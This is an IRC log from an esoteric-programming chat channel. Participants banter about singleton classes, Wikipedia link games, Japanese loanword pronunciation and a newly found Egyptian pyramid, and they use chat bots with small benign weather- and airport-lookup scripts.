storing it globally? 00:22:17 * hppavilion[1] creates the wiki page for ØO 00:22:26 @google what is a singleton 00:22:27 https://en.wikipedia.org/wiki/Singleton_pattern 00:22:51 "In software engineering, the singleton pattern is a software design pattern that restricts the instantiation of a class to one object." 00:22:56 A singleton is a class that only has one instance. 00:23:00 This instance is stored in a global variable. 00:23:28 But instead of using that global variable directly, you call a method called getInstance() which checks if the variable is initialized and initializes it if it isn't. 00:23:31 So it's basically using a class for the exact opposite of what classes were invented for? 00:23:42 alas, even haskell has singletons, although goldfire is trying to fix that. 00:24:00 You just said you don't know OO, so how do you know what classes were invented for? 00:24:05 checkmate atheists 00:24:43 shachaf: I don't do OO in the sense of using it as my technique. I still do plenty of stuff with classes when they're useful, but I don't structure my code *around* having classes 00:25:01 oerjan: What's wrong with Haskell singletons? 00:25:06 * oerjan has read the original Simula Begin book, or at least part of it. 00:25:30 shachaf: they're just a poor man's pi types, or something. 00:25:39 Like, if I need a Euclidean Vector, I'll create the EuVector class and make it deal with vectors logically, overloading operators as needed 00:26:10 * oerjan doesn't really know dependent typing either, obviously 00:26:33 Because that makes sense. I don't want to have to use addVectors(a, b) for addition, and if I'm using Vectors then I'm using a *lot* of vectors, so bundling their structure together in one big thing makes sense 00:26:38 oerjan: Do you like System F? 00:26:53 System F is beautiful 00:27:05 @ask zzo38 Do you like this? 00:27:05 Consider it noted. 00:27:25 Classes are good if you want a bunch of related data together, and you want to have a structure for putting that variety of related data together. 00:27:28 shachaf: are you sure you're not approaching harassment with that phrase 00:27:37 oerjan: no :'( 00:27:46 i wouldn't want to be harassing people 00:28:17 i hardly even noticed it until a third party pointed it out 01:09:09 -!- Phantom__Hoover has joined. 01:11:09 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds). 01:21:06 -!- orby has quit (Ping timeout: 260 seconds). 01:32:57 ? this 01:32:58 this is a word 01:44:53 The real problem with Stranger Danger is that it implies to children they don't have to be constantly paranoid about people they *do* know 01:48:11 So I've got a dumb Wikipedia game. 01:48:34 Start at whatever article. Try to get to the article "Indo-European languages" by following no more than 4 links. 01:49:10 Example... 01:49:20 "Mirza Mohammadabad (Persian: ميرزامحمداباد‎‎, also Romanized as Mīrzā Moḩammadābād) is a village in Garamduz Rural District, Garamduz District, Khoda Afarin County, East Azerbaijan Province, Iran." 01:49:27 Option 1: 01:50:06 -!- hppavilion[1] has quit (Remote host closed the connection). 01:50:25 That page happens to mention [[Daylight saving time]], and that article mentions the [[German Empire]], from which you can go to the [[German language]], and thence to [[Indo-European languages]]. 01:50:48 Option 2: dude, Persian is an Indo-European language. You only need 2 clicks. 01:53:51 -!- Warrigal has quit (Read error: Connection reset by peer). 01:55:44 -!- Phantom__Hoover has quit (Read error: Connection reset by peer). 02:05:19 Warrigal: can I convince you to deposit some in my Daylight Savings Fund? You know, sunlight for rainy day? 02:19:00 -!- hppavilion[1] has joined. 02:20:09 @tell Warrigal Oh yeah? Well I've got an even dumber Wikipedia game: Get to the main page in as few clicks as possible. 02:20:09 Consider it noted. 02:20:46 Hm, I just thought of an actually-interesting one, but you have to be polylingual to make it work 02:21:16 Given a page and two wikipedia, get from that page on the first wiki to its counterpart on the second in as few clicks as possible 02:24:20 @tell Warrigal can I convince you to deposit some in my Daylight Savings Fund? You know, sunlight for rainy day? 02:24:20 Consider it noted. 02:30:13 DST is scow 02:30:58 But I'd be interested in some esoteric daylight derivatives. 02:31:04 I guess they usually call them exotic. 02:49:51 -!- Riviera has quit (Ping timeout: 246 seconds). 02:51:09 -!- Riviera has joined. 03:03:17 -!- Zarutian has quit (Quit: Zarutian). 03:13:25 hppavilion[1]: now get to the main page without clicking on anything outside the article proper hth 03:13:50 oerjan: NEEVEEEEEEEEEEER 03:14:39 in fact your polylingual one also needs that restriction to be interesting. 03:16:12 * oerjan feels he may have gone overboard in backseat golfing a newbie at PPCG 03:17:07 -!- erkin has joined. 03:17:32 ok apparently not. 03:17:38 oerjan: The latter case is acceptable 03:18:12 oerjan: Well, it's still interesting in the latter case, but not as much; you're just taking the distance to a particular article from the main page of the target language +1 03:20:12 um the sidebar links go to the corresponding page 03:42:07 oerjan: oh. 03:42:11 Have we made Esopunk a thing yet? 04:08:20 @ask rdococ Or, if you want to be really gross, through alien saliva. <-- have you read yudkowsky's Three Worlds Collide hth 04:08:20 Consider it noted. 04:17:27 @metar ENVA 04:17:27 ENVA 040250Z 10004KT CAVOK 05/01 Q1009 RMK WIND 670FT 16010KT 04:18:01 cat bin/metar 04:18:02 ​#!/bin/bash \ icao="(airport "*" | sed -e "s/.*, //;s/)//" | head -n 1)" \ echo lambdabot: @metar "{icao:-1}" 04:18:52 metar 04:18:53 Traceback (most recent call last): \ File "/hackenv/bin/airport-lookup", line 20, in \ print '%s (%s, %s)' % (row[1], f(row[4]), f(row[5])) \ IOError: [Errno 32] Broken pipe \ lambdabot: @metar AYGA 04:19:02 metar ENVA 04:19:03 lambdabot: @metar ENVA 04:19:03 ENVA 040250Z 10004KT CAVOK 05/01 Q1009 RMK WIND 670FT 16010KT 04:19:16 airport 04:19:17 Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Port Moresby Jacksons Intl (POM, AYPY) \ Port Moresby Jacksons Intl (POM, AYPY) \ P 04:19:20 -!- potato has joined. 04:19:34 hello 04:19:37 everyone 04:19:43 -!- potato has changed nick to Guest54930. 04:19:54 oh okay 04:19:55 then 04:20:05 -!- Guest54930 has quit (Client Quit). 04:20:38 sled bin/metar//s,head,shuf, 04:20:40 bin/metar//#!/bin/bash \ icao="(airport "*" | sed -e "s/.*, //;s/)//" | shuf -n 1)" \ echo lambdabot: @metar "{icao:-1}" 04:20:47 metar 04:20:48 lambdabot: @metar ? 04:20:54 metar 04:20:55 lambdabot: @metar SARI 04:20:55 SARI 040300Z 00000KT CAVOK 21/20 Q1013 04:21:39 cat bin/airport 04:21:40 airport-lookup any "*" 04:21:56 cat bin/airport-lookup 04:21:56 ​#! /usr/bin/env python \ \ import csv \ import sys \ \ if len(sys.argv) < 3: sys.stderr.write('usage: airport-lookup any|name|iata|icao key\n'); sys.exit(1) \ kind, q = sys.argv[1], ' '.join(sys.argv[2:]) \ \ fieldnames = dict(name=1, iata=4, icao=5) \ if kind == 'any': fields = [1, 4, 5] \ elif kind in fieldnames: fields = [fieldnames[kind]] 04:22:14 airport 04:22:15 Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Port Moresby Jacksons Intl (POM, AYPY) \ Port Moresby Jacksons Intl (POM, AYPY) \ P 04:22:26 airport 04:22:26 Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Goroka (GKA, AYGA) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Madang (MAG, AYMD) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Mount Hagen (HGU, AYMH) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Nadzab (LAE, AYNZ) \ Port Moresby Jacksons Intl (POM, AYPY) \ Port Moresby Jacksons Intl (POM, AYPY) \ P 04:22:40 @tell zzo38 By "this" I meant System F. Hope that helps. 04:22:41 Consider it noted. 04:22:45 metar 04:22:46 lambdabot: @metar VANR 04:22:46 No result. 04:23:04 oh it was just a random ? 04:23:28 metar 04:23:29 lambdabot: @metar YBPN 04:23:30 YBPN 040300Z AUTO 12018KT 9999 // NCD 29/21 Q1013 04:23:38 cat bin/metar 04:23:39 ​#!/bin/bash \ icao="(airport "*" | sed -e "s/.*, //;s/)//" | shuf -n 1)" \ echo lambdabot: @metar "{icao:-1}" 04:23:59 oerjan: You should be able to provide partial airport names, e.g. just a country. 04:24:24 airport norway 04:24:25 Norway House Airport (YNE, CYNE) 04:25:01 it doesn't actually search the country field, though. 04:25:12 airport EN 04:25:13 Mount Hagen (HGU, AYMH) \ Estevan (YEN, CYEN) \ Estevan (YEN, CYEN) \ Geraldton Greenstone Regional (YGQ, CYGQ) \ Dryden Rgnl (YHD, CYHD) \ Gjoa Haven (YHK, CYHK) \ Stephenville (YJT, CYJT) \ Moose Jaw Air Vice Marshal C M Mcewen (YMJ, CYMJ) \ Port Menier (YPN, CYPN) \ Kenora (YQK, CYQK) \ Trenton (YTR, CYTR) \ City Centre (YTZ, CYTZ) \ Edmonton Ci 04:25:50 Oh, wait. 04:25:55 I didn't see the * part. 04:26:25 metar K 04:26:26 lambdabot: @metar UNKY 04:26:26 No result. 04:26:49 edit bin/airport-lookup 04:26:50 https://hackego.esolangs.org/edit/bin/airport-lookup 04:27:09 I guess I could've just used url 04:27:41 airport-lookup just does substring matching? It should do something more expressive. 04:28:15 please add regular expression matching twh 04:28:44 it's fizzie's work i think. or at least addition. 04:43:17 Hm, has anybody found Donny's PornHub or Xvideos account yet? 04:43:33 Maybe you should ask your Twitter followers. 05:38:49 Gragh, what's the name of that famous gay homophobe preacher again? 05:39:05 -!- oerjan has quit (Quit: Nite). 06:09:03 -!- pelegreno__ has joined. 06:09:33 -!- b_jonas_ has joined. 06:09:45 -!- FreeFull_ has joined. 06:13:11 -!- gsora_ has joined. 06:13:54 -!- Effilry has joined. 06:14:21 -!- erkin has quit (*.net *.split). 06:14:21 -!- FreeFull has quit (*.net *.split). 06:14:23 -!- FireFly has quit (*.net *.split). 06:14:23 -!- idris-bot has quit (*.net *.split). 06:14:24 -!- pelegreno_ has quit (*.net *.split). 06:14:24 -!- gsora has quit (*.net *.split). 06:14:25 -!- clog has quit (*.net *.split). 06:14:25 -!- b_jonas has quit (*.net *.split). 06:16:57 -!- Effilry has changed nick to FireFly. 06:21:42 -!- erkin has joined. 06:49:36 -!- madgoat has joined. 06:50:06 -!- madgoat has left. 07:15:12 -!- FreeFull_ has quit. 07:16:46 -!- MoALTz has joined. 07:56:13 -!- Jafet has quit (Ping timeout: 260 seconds). 08:09:22 -!- Jafet has joined. 08:10:14 -!- hppavilion[1] has set topic: News: Bombing in St. Petersburg | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 08:10:42 [huh, looks like it's old news. 9 hours at least] 08:10:59 [Suspect from Kyrgystan] 08:15:17 -!- clog has joined. 08:44:28 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 09:40:58 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 09:58:50 -!- augur has joined. 10:37:44 -!- augur has quit (Remote host closed the connection). 11:33:38 -!- boily has joined. 11:43:25 fungot: nostril. 11:43:25 boily: is it possible to use swig and an ffi without knowing c++?) 11:43:41 fungot: no, especially when knowing C++. 11:43:41 boily: now i got it right that is.) 11:43:58 @massages-loud 11:43:58 shachaf said 11h 58m 27s ago: why not make modified mac and cheese? https://www.youtube.com/watch?v=S6AKDODgLwU 11:50:29 helloochaf ^^ 11:51:21 last night's mac'n'cheese was good. I should've taken a picture. maybe next week, if I don't get distracted by the smoked meat. 11:54:04 -!- augur has joined. 11:55:30 was it modified? 12:02:16 quite saucy, gratiné, served with roasted cheddar chips. 12:07:34 Hmm, so the D&D rules say you can still score a critical hit with an improvised weapons. That means we only know that the legend of the horn of Lehel is apocriphial for a historical reason, not because the event itself is impossible. 12:07:39 -!- b_jonas_ has changed nick to b_jonas. 12:08:47 " We also need a new prime example of vaporware now that Duke Nukem Forever is released." yeah. 12:09:43 what do you count as vaporware? does it matter if we expect that it will never be completed, versus if we expect that it will be completed but take like a decade or two more? 12:10:00 could it have been a sneak attack with an improvised weapon? 12:10:06 ah yes, ASOIAF is a good example too 12:18:52 " You can even justify Aliens Speaking Basque because you can say that's where we got the language. That's why it isn't related to any others." => sure, there's that old myth about Hungarians 12:19:28 though of course it might be easier to justify if the aliens just learn the language from some human they first met 12:19:53 and their saucer just randomly happened to land in a place where people speak that language 12:20:29 "<\oren\> or cast ReRaise on it before it dies" => "ReRaise"? 12:22:23 " \oren\: One time I had a job interview of some sort where the interviewer kept trying to get me to say "singleton"." => was this one of those interviews where they expect you to have learnt "design patterns"? 12:26:20 Jafet: um, how do sneak attacks work in D&D? I think it's something strange where you can do them even without sneaking. or was that surprise attacks, which you can do without surprising? 12:27:46 Jafet: I dunno really 12:29:29 -!- boily has quit (Quit: OVER CHICKEN). 13:22:38 -!- augur has quit (Remote host closed the connection). 13:35:55 -!- augur has joined. 13:46:52 -!- augur has quit (Remote host closed the connection). 13:49:08 -!- augur has joined. 13:53:42 -!- augur has quit (Ping timeout: 260 seconds). 13:56:05 -!- Zarutian has joined. 13:57:04 -!- Zarutian has quit (Read error: Connection reset by peer). 13:57:06 -!- Zarutian has joined. 14:00:11 -!- Zarutian has quit (Client Quit). 14:48:05 -!- ^_^v has joined. 14:50:48 "yellow bellied weasels" someone used this as an insult i think 14:50:59 what does that mean? 14:52:07 izabera: you can use anything as an insult really if it's clear from the context that it's an insult. that's useful if you're driving cars abroad and want to swear at other drivers with whom you don't share a languag.e 14:54:38 izabera: I believe yellow-bellied = cowardly. 14:54:48 why? 14:55:21 There's conflicting etymologies in the internet, I don't know which one to trust. 14:55:46 http://www.phrases.org.uk/meanings/yellow-belly.html is a bit of a summary of sorts. 14:56:03 And of course for the other half, 1. weasel -- (a person who is regarded as treacherous or sneaky). 14:57:53 thanks 15:49:06 -!- Phantom_Hoover has joined. 15:49:06 -!- Phantom_Hoover has quit (Changing host). 15:49:06 -!- Phantom_Hoover has joined. 15:58:18 -!- nycs has joined. 16:00:37 -!- ^_^v has quit (Ping timeout: 260 seconds). 16:02:00 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 16:09:10 -!- nycs has quit (Quit: This computer has gone to sleep). 16:09:29 -!- Lord_of_Life has joined. 16:14:52 -!- ^_^v has joined. 16:22:39 -!- ^_^v has quit (Quit: This computer has gone to sleep). 16:31:22 -!- ^_^v has joined. 16:45:51 -!- Lord_of_Life has quit (Excess Flood). 16:47:10 -!- hppavilion[1] has joined. 16:49:29 -!- Lord_of_Life has joined. 16:51:53 -!- hppavilion[1] has quit (Ping timeout: 256 seconds). 17:18:43 -!- dingbat has joined. 17:22:31 -!- oerjan has joined. 17:23:19 <\oren\> b_jonas: ReRaise is a spell from Final Fantasy 6 17:23:53 <\oren\> it automatically casts Raise on a character when they die 17:24:43 . o O ( what about when they get a pay cut ) 17:25:33 -!- oerjan has set topic: News: Nothing on topic | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 17:25:39 <\oren\> . o O (Someone make an anime called "Our Tank is a part timer") 17:26:46 Parutimuro the Tanku 17:27:26 wait, no ti 17:28:04 Paruchimuro? 17:28:05 oerjan: "the"? 17:28:27 \oren\: I see 17:28:28 b_jonas: only in the translated version, obviously. 17:28:58 (Paruchimuro is the tank's name) 17:29:34 or maybe the translaters are just misinterpreting it that way 17:29:36 *o 17:29:41 -!- heartofdarkness has joined. 17:31:07 oerhan: nothing on topic? they found a new pyramid in Egypt! http://english.ahram.org.eg/NewsContent/9/40/262156/Heritage/Ancient-Egypt/Remains-of-th-Dynasty-pyramid-discovered-in-Dahshu.aspx 17:31:34 i guess that's esoteric enough 17:31:44 a pyramid hiding so well that people haven't noticed so far? that's obviously proof of alien cloaking technology 17:31:53 -!- oerjan has set topic: News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 17:32:17 * oerjan was really just trying to get rid of the bomb news 17:34:18 <\oren\> bomberman used to be a game, not something you do to survive your commutr 17:35:05 seriously, a new pyramid? 17:35:06 b_jonas: actually the pyramid seems to be just parts left, so it's easier to hide. however, a pyramid being destroyed like that is obvious proof of ancient nuclear weapons! 17:36:20 clearly some aliens used a brahmastra there 17:37:33 which also explains why there's so much desert. 17:39:45 b_jonas: I don't know. 17:40:30 oerjan: hehe 17:42:46 oerjan: note that it's one of the pyramids built the latest, during the 13th dynasty. I think that means those ancient aliens are still building pyramids in the past as we speak, and when they build it in the past, we discover them meanwhile in the present. 17:43:01 It's just not a very common event, because they only build one every few decades. 17:45:10 figures 17:45:49 (would these aliens happen to be three in number, and pretty stupid?) 17:52:46 Instead of basing our metric system on hard to measure nuclear stuff, we should just define the centimeter as the thickness of typical wooden boards used in furniture. 17:57:21 * oerjan tries in vain to backronym IKEA for the purpose 17:57:36 International is easy. 17:58:06 oh wait, maybe it's in swedish 17:58:24 um still no help. 18:00:04 aperture 18:00:17 imagine a world in which IKEA were the first to introduce standard measures. 18:00:29 @wn aperture 18:00:30 *** "aperture" wn "WordNet (r) 3.0 (2006)" 18:00:30 aperture 18:00:30 n 1: a device that controls amount of light admitted 18:00:30 2: a natural opening in something 18:00:30 3: an man-made opening; usually small 18:00:41 hm i don't think that fits. 18:00:58 4: a fictional esoteric laboratory 18:01:15 i know. i don't think that's good for this purpose. 18:02:36 wait, what purpose? 18:02:57 to backronym IKEA into a wood-based international system of measure hth 18:03:20 @metar lowi 18:03:20 LOWI 041650Z 08007KT 050V110 9999 FEW025 SCT070 BKN110 10/06 Q1021 NOSIG 18:03:27 i was assuming you were trying to help with the A 18:03:27 good, good. 18:03:29 @botsnack 18:03:29 :) 18:03:37 metar 18:03:39 lambdabot: @metar LICD 18:03:40 LICD 041550Z 32012KT 9999 FEW025 16/12 Q1016 18:03:43 @giggle lambdabot 18:03:45 https://wiki.haskell.org/Lambdabot 18:04:09 @boggle ikea 18:04:09 Maybe you meant: hoogle google 18:04:11 workaround for that is still holding too 18:04:12 fungot, how would you define a centimeter? 18:04:12 b_jonas: have you seen orion? :( but fis promised i cry now? mooz's going to kill someone? yes. 18:04:13 oops 18:04:26 what 18:04:44 int-e: is lambdabot starting to get held together by duct tape? 18:05:32 oerjan: "the problem" is flaky IPv6 neighbour discovery, and it's really not lambdabot's fault, I can repreduce it with a C program. 18:06:06 OKAY 18:09:00 International Ksomething Esomething Authority 18:09:40 Knob Embellishment 18:09:54 YAKO 18:10:56 How about an esoteric-class type? 18:13:56 -!- Phantom_Hoover has joined. 18:22:09 -!- FreeFull has joined. 18:26:06 -!- AnotherTest has joined. 18:28:54 <\oren\> oerjan: the katakanization of "part timer" would be paatotaimaa btw 18:32:49 -!- FreeFull has quit. 18:33:08 -!- FreeFull has joined. 18:35:01 /pɑ:t taımə/ if you have a non-rhotic dialect 18:36:34 <\oren\> japanese katakanization of words is, in general, non-rhotic 18:37:28 mhm 18:37:31 <\oren\> apartment -> apaato, whiteboard -> howaitoboodo, etc 18:38:36 I doubt anyone pronounces the "wh" in wh words any more. 18:38:58 <\oren\> my dad does but he's really really old 18:39:17 I was working on a conlang with /c/ but meh. 18:39:23 I need motivation to continue it. 18:40:05 -!- augur has joined. 18:42:56 No motivation? :c 18:43:09 <\oren\> it also for some reason always assimilates t and y into ch 18:43:23 <\oren\> naisutumiichuu 18:43:48 Does Japanese itself have /t/ and /j/? 18:43:56 <\oren\> yes 18:44:01 Strange. 18:44:15 \oren\: what does naisutumiichu mean? 18:44:24 <\oren\> nice to meet you 18:44:27 ah 18:44:40 strange 18:44:41 naisu tu miichuu 18:44:44 starwars 18:44:45 the Rancor 18:44:49 -!- augur has quit (Ping timeout: 258 seconds). 18:44:58 Oh. 18:45:05 You mean /tj/ becomes /tS/? 18:45:13 <\oren\> yes 18:45:13 That's not all that strange, to be honest. 18:45:35 It's pronounced with a /tS/ in my dialect too. 18:45:53 <\oren\> well yes some dialects of english have a lot of these features 18:46:00 /nais tu mitSu/ 18:48:43 <\oren\> service -> サービス 18:48:54 <\oren\> saabisu 18:49:20 -!- DHeadshot has joined. 18:49:56 I also tend to add /ɹ/ between some words. 18:53:01 <\oren\> what like "so the idea r is" 18:53:21 "so the idearis" 18:53:30 <\oren\> some people in my family do that 18:53:47 /aıdiæɹıs/ 19:03:37 . o O ( I like using thought bubbles and porthellos outside of #esoteric ) 19:07:45 I was working on a conlang with /c/ but meh. <- /c/ is all greek to me 19:08:59 -!- Cale has quit (Excess Flood). 19:09:31 -!- Cale has joined. 19:09:46 it's IPA. 19:09:55 *whoosh* 19:10:02 Also, it's Latin, not Greek. 19:10:42 i repeat, *whoosh* 19:12:29 *swipe* 19:12:37 eep 19:12:40 (wat) 19:13:13 (/wat/) 19:13:57 anyway, the word for "and" in modern greek starts with it, and seems _very_ common. 19:15:05 [ˈmicis θeoðoˈɾacis] 19:16:41 Sounds nice. 19:16:59 * oerjan should get back to learn more songs, but seems to get too preoccupied with code golfing... 19:17:49 * oerjan thinks his grammar is slipping, needs more -ing 19:18:16 Iing agreeing. 19:18:33 Iting woulding being bettering ifing youing useding moreing inging.ing 19:18:42 norwegian doesn't have progressive aspect like english 19:19:01 Sounds progressive. 19:34:06 -!- oerjan has quit (Quit: Later). 19:35:54 -!- augur has joined. 19:36:59 -!- DHeadshot has quit (Ping timeout: 264 seconds). 19:44:38 -!- DHeadshot has joined. 19:50:18 -!- augur has quit (Remote host closed the connection). 19:55:12 -!- augur has joined. 19:59:29 -!- augur has quit (Ping timeout: 240 seconds). 20:13:40 <\oren\> there's a political party in Ontario called the progressive conservatives 20:35:50 -!- Lord_of_Life has quit (Excess Flood). 20:39:29 -!- Lord_of_Life has joined. 20:50:28 -!- hppavilion[1] has joined. 20:53:33 Hm, I wonder if there are noneuclidean vectors 20:56:36 -!- DHeadshot has quit (Ping timeout: 240 seconds). 21:08:13 I just thought of *one* time that singleton classes are reasonable (while programming; I need one) though I'd rather if I could just create it as a literal object 21:08:15 -!- wob_jonas has joined. 21:08:55 Iff your language supports operator overloading, using a singleton to have an "undefined" type (for which any operation involving it is undefined) is allowed. 21:09:37 There should be a protocol that's half-compatible with IRC, with weaker guarantees, in which the servers need not be connected in a forest topology, so there can be cycles. That will help if we ever have servers on three non-collinear planets or moons or space stations, because restricting the connections to a forest can cause transmission delays. 21:09:47 (same goes for infinity and -infinity, I guess) 21:10:04 5 w 21:10:09 1/2:^//^ (also notated by ⊕ or ⊻) is the exclusive-or operator; ∧ (also notated by /\ or &) is the and (conjunction) operator; ^ (also notated by ↑ or ** or ⋆) is the power operator. \ istr//istr istr is vaguely similar to iirc. \ all//All that glitters is not gold. \ infinitive//Infinitives are atomic verbs. They were first spl 21:10:35 n 21:10:36 2/2:it in the 1940s, and the world hasn't looked back since. \ xor//Xor is just addition of nimbers. 21:19:47 -!- longerstaff13 has quit (Quit: Disconnecting the bouncer - expect me back any minute :P). 21:21:21 dowg istr 21:21:28 10567:2017-04-02 learn istr istr is vaguely similar to iirc. 21:21:54 istr = int-e seems to recall? 21:22:11 wob_jonas: I'm not actually sure what connected servers mean? 21:22:23 oerjan: istr "istr" is vaguely similar to "iirc" iirc 21:22:46 coquine "coquine" is a coquine. 21:23:10 Classes are scow. 21:23:27 object-oriented programming < return-oriented programming 21:23:29 hpp: and IRC network (which is this stuff we're talking on now, you know) is made of servers and clients. each client is connected to one server, and the servers are connected to each other, but not pairwise, but only in a tree shape. the servers manage to transmit the messages on channels and private messages and all other stuff to the right clien 21:23:29 ts. 21:23:31 (a coquine is a program which never outputs its own source code; to coquine a string s is to output anything but « ""» 21:24:14 Do you mean anything by the word "co"? 21:24:19 I mean prefix. 21:24:22 Just "not"? 21:24:33 hpp: the servers within an IRC network are connected so eg. if a client says something on a #-channel on one server, then every client who's joined that channel on any server will get that message. 21:25:18 hpp: does that make any sense? 21:30:00 An alternate theory (to martians) is that the new pyramid was made for publicity by WotC for the upcoming Amonkhet set, which has an ancient Egypt theme. 21:30:53 So in that case, Mark Rosewater went back in time more than three thousand years, carried the giant stones on his own back, and built the pyramid. 21:31:14 I don't know whether that's more believable than the martian spaceship hangars. 21:34:05 -!- hppavilion[1] has quit (Ping timeout: 256 seconds). 21:34:42 -!- augur has joined. 21:36:05 -!- MoALTz has quit (Quit: Leaving). 21:38:49 -!- augur has quit (Ping timeout: 240 seconds). 21:49:33 . o O ( return oriented programming is one of those things that makes your computer not just useful to you, but to a greater part of society... ) 21:50:11 hint-e 21:50:17 Did you read _Max Und Moritz_? 21:50:25 been ages 21:50:38 ? altruism 21:50:38 altruism? ¯\(°​_o)/¯ 21:50:43 quote altruism 21:50:45 No output. 21:50:51 Do you remember the teacher? They made fun of him for being a goat, I think. 21:50:56 Or for being goat-like. 21:50:58 Having a beard? 21:53:03 -!- hppavilion[1] has joined. 21:53:28 easy to find out... http://www.gutenberg.org/files/17161/17161-h/17161-h.htm#Vierter_Streich 21:53:54 * hppavilion[1] applies the Fast Furrier Transform to a vector containing all of the world's Sphynx cats 21:56:36 shachaf: So... the goat-like person was the tailor. 21:56:47 Ah, makes sense. 21:57:24 ... 21:57:41 addquote So... the goat-like person was the tailor. Ah, makes sense. 21:57:43 1311) So... the goat-like person was the tailor. Ah, makes sense. 21:57:59 scow quote imo 21:58:54 (and basically it was just because of the name) 21:59:06 Ah, right. 21:59:10  revert #veto 21:59:11 ​/hackenv/bin/: line 4: /hackenv/bin/revert: Permission denied 21:59:11 Anyway, did you read Jim Knopf? 21:59:16 revert 21:59:17 Done. 21:59:24 I forgot that this is built in :P 21:59:37 yes, once, but don't remember much of it 21:59:38 No, I didn't read Jim Knopf. 21:59:54 Oh. 21:59:57 How about Momo? 22:00:04 Yes. 22:00:09 except for the giant that appears bigger if you look at them from farther, which is the opposite from normal people, who seem tinier if seen from farther 22:00:19 sure, Momo is great! 22:00:20 Mr. Tur-Tur 22:00:22 I love Momo 22:00:47 -!- DHeadshot has joined. 22:00:51 Tough names though, what's the tortoise called... was it Kassiopeia? 22:01:03 Yes, Cassiopeia or something like that. 22:01:07 https://en.wikipedia.org/wiki/List_of_fictional_turtles hth 22:01:15 int-e: yes. from the constellation. 22:01:22 I read it in Hebrew. 22:01:27 But I later reread it English. 22:01:44 I read it in German, naturally. 22:01:52 what? why'd you do that? is the Hebrew translation that bad? 22:01:53 (semi-pun :P) 22:02:02 or was it no longer available to you? 22:02:18 I think it's not easy to get in the US. 22:02:27 There were probably at least 15 years between the readings. 22:02:37 :-( 22:02:43 What? 22:03:11 Oh man, those scow gray gentlemen. 22:03:15 They even got Beppo? 22:03:18 What a scow. 22:03:31 I'm reading the plot summary now. 22:03:32 it's just sad in general that we still live in a world where I have to go to libraries, and often can't get books, especially ones published abroad, from them 22:03:44 Wait, did I actually reread it in English? 22:03:46 why can't I just get any book digitally through the internet, no matter where it was published? 22:03:52 Maybe I only bought a copy and didn't read it? 22:03:58 Oh, digital books are scow. 22:04:00 shachaf: hehehe 22:04:12 shachaf: sure, I like dead-tree books too 22:04:24 Master Secundus Minutus Hora 22:04:26 but still, I'd prefer digital books over no books 22:04:40 yep, those are some of the characters 22:05:12 cigars are scow 22:05:44 -!- heartofdarkness has quit (Quit: Connection closed for inactivity). 22:10:56 -!- augur has joined. 22:15:09 -!- augur has quit (Ping timeout: 240 seconds). 22:33:26 -!- Zarutian has joined. 22:34:33 -!- Zarutian has quit (Read error: Connection reset by peer). 22:35:50 -!- augur has joined. 22:35:55 -!- Zarutian has joined. 22:36:45 -!- augur has quit (Remote host closed the connection). 22:44:05 -!- augur has joined. 22:50:24 Hm. Problem with referring to Native Americans as "Indians" (or "American Indians"): If the people in the Antilles (where Columbus landed) were Indians, that would make Natives living in now-Colorado Turkmen 23:05:21 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 23:07:01 -!- hppavilion[1] has quit (Ping timeout: 256 seconds). 23:10:28 -!- ^_^v has quit (Quit: This computer has gone to sleep). 23:13:25 -!- boily has joined. 23:37:37 -!- Marcela_Gandara has joined. 23:39:03 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:40:50 wisdom 23:40:52 cosplay//Cosplay is the art of dressing up as people to show off to other people dressed up as people. 23:41:51 I should cosplay into something bright pink. that way, if I ever get lost during the next convention, I'll know where to find me. 23:42:32 Mr Blobby? 23:43:06 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH! 23:43:23 -!- Marcela_Gandara has quit (Quit: Leaving.). 23:44:11 ? 23:44:15 -!- Phantom_Hoover has quit (Ping timeout: 246 seconds). 23:44:37 <\oren\> boily: you should cosplay as Madoka 23:44:52 he\\oren\! good idea! 23:47:53 <\oren\> Apparently Emma Watson is a furry 23:48:15 -!- augur has quit (Remote host closed the connection). 23:48:42 eh? 23:49:03 <\oren\> http://dlisted.com/2017/03/13/emma-watson-is-totally-a-furry/ 23:49:26 <\oren\> “Aslan in Narnia. I found the lion quite hot. Is that wrong? Is that okay? Probably not. No, it’s not okay. It’s not okay. I’m getting shaking heads. It happens. Sometimes animals in films are hot. I don’t know what to say.” -- Emma Watson 23:49:57 <\oren\> WWWWWWWWWWWWWWWWWWWW 23:49:59 -!- DHeadshot has quit (Ping timeout: 240 seconds). 23:51:30 * boily acquires a large sodium chloride crystal and waves it around his desktop 23:53:09 <\oren\> I 